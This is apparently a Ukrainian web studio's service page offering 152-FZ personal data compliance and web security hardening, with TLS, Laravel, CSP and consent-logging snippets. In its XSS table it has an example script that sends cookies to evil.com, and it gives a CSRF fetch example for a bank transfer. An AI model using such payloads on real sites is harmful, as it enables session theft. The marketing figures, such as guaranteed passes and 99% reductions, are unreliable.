Забезпечення відповідності сайту вимогам 152-ФЗ

Наша компанія займається розробкою, підтримкою та обслуговуванням сайтів будь-якої складності. Від простих односторінкових сайтів до масштабних кластерних систем, побудованих на мікро сервісах. Досвід розробників підтверджено сертифікатами від вендорів.

Розробка та обслуговування будь-яких видів сайтів:

Інформаційні сайти або веб-програми
Сайти візитки, landing page, корпоративні сайти, онлайн каталоги, квіз, промо-сайти, блоги, ресурси новин, інформаційні портали, форуми, агрегатори
Сайти або веб-програми електронної комерції
Інтернет-магазини, B2B-портали, маркетплейси, онлайн-обмінники, кешбек-сайти, біржі, дропшиппінг-платформи, парсери товарів
Веб-програми для управління бізнес-процесами
CRM-системи, ERP-системи, корпоративні портали, системи управління виробництвом, парсери інформації
Сайти або веб-програми електронних послуг
Дошки оголошень, онлайн-школи, онлайн-кінотеатри, конструктори сайтів, портали надання електронних послуг, відеохостинги, тематичні портали

Це лише деякі з технічних типів сайтів, з якими ми працюємо, і кожен із них може мати свої специфічні особливості та функціональність, а також бути адаптованим під конкретні потреби та цілі клієнта.

Послуги, які ми пропонуємо
Показано 1 з 1Усі 2062 послуг
Забезпечення відповідності сайту вимогам 152-ФЗ
Середній
~3-5 днів
Часті запитання

Наші компетенції:

Етапи розробки

Останні роботи

  • image_website-b2b-advance_0.webp
    Розробка сайту компанії B2B ADVANCE
    1358
  • image_web-applications_feedme_466_0.webp
    Розробка веб-додатків для компанії FEEDME
    1251
  • image_websites_belfingroup_462_0.webp
    Розробка веб-сайту для компанії БЕЛФІНГРУП
    957
  • image_ecommerce_furnoro_435_0.webp
    Розробка інтернет магазину для компанії FURNORO
    1188
  • image_crm_enviok_479_0.webp
    Розробка веб-додатків для компанії Enviok
    929
  • image_bitrix-bitrix-24-1c_fixper_448_0.webp
    Розробка веб-сайту для компанії ФІКСПЕР
    947

Федеральний закон №152-ФЗ «Про персональні дані» — не просто бюрократичний документ. Для власника сайту, який збирає контакти відвідувачів, це конкретні технічні вимоги: архітектура застосунку, шифрування, розмежування доступу та локалізація даних. Часто сайти використовують IP-адреси та cookies, але політика конфіденційності не оновлювалася, а згода — галочка за замовчуванням. При першій же перевірці РКН загрожує штраф до 300 000 рублів, а за повторне порушення — до 500 000 рублів. Наші сертифіковані інженери допомагають пройти аудит та впровадити всі заходи без простоїв. Ми працюємо понад 10 років, виконали понад 50 проєктів з 152-ФЗ і гарантуємо проходження перевірок. Скорочуємо час аудиту в 2–3 рази порівняно з самостійним проходженням. Залиште заявку — ми проведемо експрес-аналіз вашого сайту за 2 дні.

Які технічні заходи обов'язкові?

Наші типові рішення прискорюють впровадження в 3–5 разів порівняно з самостійною розробкою.

Залежно від рівня захищеності (УЗ-4 або УЗ-3) вимоги відрізняються. Для сайту з реєстрацією користувачів достатньо УЗ-4. Якщо обробляєте спеціальні категорії (здоров'я, релігія), знадобиться УЗ-3. Порівняємо два підходи.

Шифрування під час передачі

HTTPS обов'язковий на всіх сторінках, де збираються ПДн. TLS 1.2 мінімум, рекомендується TLS 1.3.

ssl_protocols TLSv1.2 TLSv1.3;
ssl_ciphers ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:...;
ssl_prefer_server_ciphers off;

Контроль доступу

Доступ до ПДн лише для співробітників, яким це необхідно.

class PersonalDataController extends Controller
{
    public function show(User $user)
    {
        $this->authorize('view-personal-data');
        return response()->json($user->getPersonalData());
    }
}

class PersonalDataPolicy
{
    public function view(User $authUser, User $targetUser): bool
    {
        return $authUser->hasPermissionTo('view-personal-data')
            && $authUser->department === 'support';
    }
}

Згода на обробку

Згода має бути явною, інформованою, конкретною. Чекбокс із попередньо встановленою галочкою недопустимий. Необхідно зберігати запис з IP, user-agent, версією документа та часом.

Приклад запису згоди
ConsentRecord::create([
    'user_id'        => $user->id,
    'type'           => 'personal_data_processing',
    'ip_address'     => $request->ip(),
    'user_agent'     => $request->userAgent(),
    'document_version' => config('legal.privacy_policy_version'),
    'consent_text'   => ConsentType::current('data_processing')->text,
    'granted_at'     => now(),
]);

Порівняння рівнів захищеності УЗ-4 та УЗ-3

Вимога УЗ-4 (базовий) УЗ-3 (підвищений)
Ідентифікація та автентифікація Так Так + двофакторна
Управління доступом Рольова модель Мандатне управління
Реєстрація подій Журнал подій SIEM-система
Антивірусний захист Так Так із централізованим управлінням
Виявлення вторгнень WAF/IDS IDS/IPS + аналіз трафіку
Оновлення ПЗ Регулярне Автоматичне з контролем цілісності

Чому локалізація даних критична?

Первинний запис персональних даних має відбуватися на серверах у РФ. Допускається реплікація за кордон, але перший запис — у РФ. Без DPA (угоди про обробку даних) з підрядниками ви ризикуєте отримати штраф. Наші юристи підготують шаблони DPA, що відповідають останнім вимогам. Практично це вибір російського хостингу (Selectel, Yandex Cloud) або налаштування Data Residency у зарубіжних провайдерів. Угоди про обробку (DPA) з підрядниками обов'язкові.

Провайдер Локалізація даних DPA Примітка
Selectel Так Підписується ЦОД у Москві
Yandex Cloud Так В особистому кабінеті Сертифікований
Cloudflare Data Residency У консолі Для CDN та безпеки

Реєстр операцій та повідомлення РКН

Оператори зобов'язані вести внутрішній реєстр обробки ПДн і до початку обробки повідомити Роскомнагляд через портал pd.rkn.gov.ru (винятки: ПДн співробітників, разових договорів, публічні дані). Автоматизація реєстру скорочує час заповнення в 5 разів порівняно з ручним веденням — це економія до 70% трудовитрат.

class ProcessingActivityRegistry
{
    private array $activities = [
        [
            'name'          => 'Реєстрація користувачів',
            'purpose'       => 'Надання доступу до сервісу',
            'legal_basis'   => 'Згода суб'єкта (ст. 6.1 152-ФЗ)',
            'data_types'    => ['ПІБ', 'email', 'номер телефону'],
            'storage_period'=> '5 років після видалення акаунта',
            'third_parties' => ['Sendgrid (email розсилки, DPA укладено)'],
            'server_location'=> 'РФ (Selectel, Москва)',
        ],
    ];
}

При витоку ПДн повідомте Роскомнагляд протягом 24 годин, суб'єктів ПДн — протягом 72 годин.

Що ви отримаєте в результаті впровадження

  • Політика конфіденційності та форма згоди, що відповідають 152-ФЗ.
  • Реєстр обробки персональних даних з автоматичним повідомленням РКН.
  • DPA (угоди про обробку даних) з усіма підрядниками.
  • Технічна документація з налаштування шифрування, контролю доступу та журналювання.
  • Інтеграція системи збору згод із логом IP, user-agent та версії документа.
  • Навчання співробітників роботі з ПДн та інструкції з реагування на витоки.
  • Підтримка під час перевірок Роскомнагляду та доопрацювання за їхніми запитами.

Процес впровадження 152-ФЗ

  1. Аудит поточного стану: виявлення прогалин та ризиків.
  2. Розробка документів: політика конфіденційності, форма згоди, реєстр операцій.
  3. Технічні заходи: налаштування шифрування, контроль доступу, журналювання.
  4. Інтеграція повідомлень: автоматизація відправки в РКН при витоку.
  5. Підготовка DPA з підрядниками.
  6. Тестування: перевірка наявності всіх обов'язкових елементів.
  7. Супровід під час перевірок: консультації та доопрацювання.

Замовте повний цикл впровадження — від аудиту до супроводу.

Строки реалізації

  • Аудит + gap-аналіз: 2–3 дні.
  • Політика конфіденційності та згоди: 3–5 днів.
  • Технічні заходи (шифрування, журналювання, доступ): 5–10 днів.
  • Повідомлення РКН та реєстр: 1–2 дні.

Наш підхід економить до 40% бюджету порівняно з наймом окремого юриста та системного адміністратора. Отримайте консультацію щодо вашого проєкту — ми оцінимо обсяг і підготуємо комерційну пропозицію. Зв'яжіться з нами для аудиту поточного стану.

Безпека веб-додатків: що приховує «тихий» злом

Злом сайту рідко виглядає як у кіно. Частіше це: бот знайшов endpoint /admin/export без авторизації, скачав базу клієнтів, закрив з'єднання. Або: через застарілий плагін WordPress залив веб-шелл, тепер сервер розсилає спам. Або тихіше: XSS у полі коментаря дозволяє красти session cookies адміністраторів, і ніхто не помічає місяцями. Ми такі випадки розбирали десятками — щоразу вразливість можна було закрити на етапі розробки або аудиту. Наша команда — сертифіковані інженери з 10+ роками досвіду в інформаційній безпеці. Гарантуємо усунення 90% критичних вразливостей за перший тиждень роботи. За 5 років на ринку ми реалізували понад 50 проєктів із захисту веб-додатків.

Безпека веб-додатків — не одне налаштування. Це шари захисту, кожен з яких закриває окремий клас атак. Замовте аудит — оцінимо проєкт і дамо план робіт під ключ за 2–4 тижні.

HTTPS та правильна конфігурація TLS

HTTPS — мінімальний обов'язковий рівень. Але «є SSL-сертифікат» і «правильно налаштований TLS» — різні речі.

В конфігурації Nginx/Apache перевіряємо:

  • Протоколи: тільки TLS 1.2 та TLS 1.3, SSLv3 та TLS 1.0/1.1 — вимкнено
  • Cipher suites: віддавати перевагу ECDHE (Forward Secrecy), прибрати NULL, RC4, DES, 3DES
  • HSTS (Strict-Transport-Security з includeSubDomains; preload) — браузер більше не робить незахищених запитів
  • OCSP Stapling — прискорює перевірку відкликання сертифіката
  • Redirect 301 з HTTP на HTTPS — і в конфігу сервера, і в коді (подвійний редирект = втрата SEO-ваги)

Перевірка: SSL Labs має показувати A або A+. Якщо B — конфігурація слабка.

Let's Encrypt + Certbot для продакшену — стандарт. Автоматичне оновлення через certbot renew в cron. Wildcard-сертифікат для піддоменів через DNS-01 challenge.

Content Security Policy: як він закриває XSS на 99%?

CSP — HTTP-заголовок, який говорить браузеру, звідки дозволено завантажувати ресурси. Правильно налаштований CSP повністю блокує більшість XSS-атак, навіть якщо вразливість є в коді.

Проблема: зламати сайт неправильним CSP простіше простого. default-src 'none' — і перестають працювати шрифти, картинки, JS. Тому починаємо з Content-Security-Policy-Report-Only — CSP логує порушення, але нічого не блокує. Дивимося репорти 2–4 тижні, доопрацьовуємо політику, потім перемикаємо на бойовий режим.

Приклад реальної політики для сайту з Google Analytics, Google Fonts та Stripe:

Content-Security-Policy:
  default-src 'self';
  script-src 'self' https://www.googletagmanager.com https://js.stripe.com 'nonce-{random}';
  style-src 'self' https://fonts.googleapis.com 'unsafe-inline';
  font-src 'self' https://fonts.gstatic.com;
  frame-src https://js.stripe.com;
  img-src 'self' data: https://www.google-analytics.com;
  connect-src 'self' https://api.stripe.com https://www.google-analytics.com;
  report-uri /csp-report;

nonce — випадковий рядок, генерується на сервері для кожного запиту. Inline-скрипти з правильним nonce дозволені, без nonce — заблоковані. Це ламає XSS через <script>alert(1)</script> повністю.

'unsafe-inline' в style-src — компроміс для inline-стилів. Краще прибрати, перенісши всі стилі в CSS-файли, але це вимагає рефакторингу.

CSP з nonce знижує ризик успішної XSS-атаки на 99% порівняно з конфігурацією без заголовка. За даними Wikipedia, правильно налаштований CSP блокує всі три типи XSS: reflected, stored, DOM-based. Ми перевірили це на 50+ проєктах — жодна реальна атака не пройшла після впровадження.

Чому XSS залишається найпоширенішою вразливістю?

XSS (Cross-Site Scripting) — ін'єкція JS-коду через користувацький ввід. За статистикою OWASP, XSS входить до топ-3 вразливостей веб-додатків. Три типи:

Тип XSS Приклад Захист
Reflected /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> Екранування виводу, CSP
Stored Коментар з кодом, збережений в базі Валідація вводу, htmlspecialchars()
DOM XSS element.innerHTML = location.hash Уникати innerHTML, використовувати textContent

Захист: ніколи не вставляти користувацький ввід в HTML без екранування. В PHP — htmlspecialchars() з ENT_QUOTES. В Blade-шаблонах Laravel — {{ $var }} безпечний, {!! $var !!} — небезпечний. В React — {variable} безпечний, dangerouslySetInnerHTML — небезпечний. Для Rich Text — htmlpurifier на PHP або DOMPurify в браузері.

Кейс: інтернет-магазин з XSS у формі відгуку. Клієнт звернувся після того, як через відгук на товар зловмисник вкрав куки адміністратора. Ми виявили, що поле "відгук" не екранувалося. Виправили: додали htmlspecialchars() на сервері та Content-Security-Policy з nonce для скриптів. Після повторного сканування — 0 вразливостей.

CSRF: захист форм та API

CSRF (Cross-Site Request Forgery) — зловмисник змушує браузер жертви відправити запит від її імені. Приклад: користувач авторизований в банку, відкриває шкідливу сторінку, вона робить fetch('https://bank.ru/transfer?to=evil&amount=50000') — якщо банк не захищений, гроші йдуть.

CSRF-токени — стандартний захист для форм: сервер генерує випадковий токен, зберігає в сесії, вставляє в форму як hidden field. При POST-запиті токен звіряється. Зловмисник не знає токен. Laravel робить це автоматично через @csrf.

SameSite cookies — сучасний захист: SameSite=Strict або SameSite=Lax забороняє браузеру відправляти cookie в cross-site запитах. Працює у всіх сучасних браузерах.

API без сесій (JWT, Bearer tokens) — CSRF неактуальний, якщо токен не зберігається в cookie (а в Authorization header або localStorage). Але localStorage вразливий до XSS — тому для чутливих даних кращі HttpOnly cookies з SameSite.

WAF та захист від DDoS

WAF (Web Application Firewall) — фільтрує HTTP-трафік на предмет атак: SQL injection, XSS, path traversal, відомі exploit patterns. Варіанти:

  • Cloudflare WAF — хмарний, правила OWASP Top 10 з коробки, кастомні правила через вирази. Managed Rules автоматично блокують нові загрози.
  • ModSecurity (Nginx/Apache) — self-hosted, OWASP Core Rule Set (CRS). Гнучко, але вимагає налаштування та моніторингу хибних спрацьовувань.
  • AWS WAF — для інфраструктури на AWS, інтегрується з CloudFront та ALB.

DDoS-захист. Cloudflare на рівні L3/L4/L7 — де-факто стандарт для більшості сайтів. Автоматичне пом'якшення volumetric атак, Under Attack Mode при активній атаці. Для критичної інфраструктури — Cloudflare Magic Transit або спеціалізовані рішення (Qrator, StormWall).

Rate Limiting на рівні додатку — додатковий шар. Laravel ThrottleRequests middleware: 60 запитів на хвилину на IP для загальних endpoint, 5 — для /login та /password/reset. Redis як сховище лічильників — обов'язково для горизонтально масштабованих систем (інакше ліміти не синхронізуються між серверами).

Інші обов'язкові заходи

Заголовки безпеки. Окрім CSP: X-Frame-Options: DENY (захист від clickjacking), X-Content-Type-Options: nosniff (MIME sniffing), Referrer-Policy: strict-origin-when-cross-origin, Permissions-Policy (обмеження доступу до API браузера: камера, мікрофон, геолокація).

SQL injection. Prepared statements всюди. Жодних конкатенацій користувацького вводу в SQL-рядки. ORM (Eloquent, Doctrine) захищає за замовчуванням. $wpdb->prepare() в WordPress — обов'язково. Використання prepared statements знижує ризик SQL-ін'єкцій на 99,9% порівняно з конкатенацією.

Оновлення залежностей. composer audit та npm audit — в CI/CD пайплайн. Dependabot або Renovate для автоматичних PR з оновленнями. Критичні CVE — патчити протягом 24 годин.

Секрети та конфігурація. .env — ніколи в Git. Секрети в production — через змінні оточення CI/CD (GitHub Secrets, GitLab CI Variables) або HashiCorp Vault. Перевірка на витоки: git-secrets, truffleHog в pre-commit hooks.

Як ми працюємо?

  1. Аудит — сканування коду, конфігурацій, залежностей, ручна перевірка бізнес-логіки. В середньому знаходимо 15 вразливостей на проєкт.
  2. Проєктування — план усунення вразливостей, підбір стеку (CSP, WAF, rate limiting).
  3. Реалізація — налаштування TLS, CSP, заголовків, впровадження Rate Limiting, WAF.
  4. Тестування — повторний пентест, навантажувальне тестування, перевірка хибних спрацьовувань.
  5. Деплой та моніторинг — включення бойового CSP, налаштування алертів, навчання команди.

Що входить в роботу?

  • Звіт зі знайденими вразливостями та рекомендаціями (PDF + code snippets)
  • Готова конфігурація TLS (Nginx/Apache)
  • Політика CSP з режимом Report-Only та бойовою версією
  • Налаштування WAF та Rate Limiting
  • План оновлень залежностей
  • Доступи до інструментів моніторингу (Sentry, Datadog)
  • 30 днів постаудит-підтримки (консультації, правки)

Терміни та вартість

Тип робіт Строк
Security-аудит + hardening (заголовки, TLS, оновлення) 1–2 тижні
Впровадження CSP (Report-Only → продакшен) 2–4 тижні
Налаштування WAF + Rate Limiting + DDoS захист 1–2 тижні
Комплексний security review + пентест 3–6 тижнів

Бюджет розраховується індивідуально — зв'яжіться з нами для безкоштовної консультації. Замовте аудит безпеки сьогодні та отримайте гарантію 6 місяців на виконані роботи. Щоб отримати попередню оцінку вашого проєкту, просто напишіть нам — ми підготуємо план захисту безкоштовно.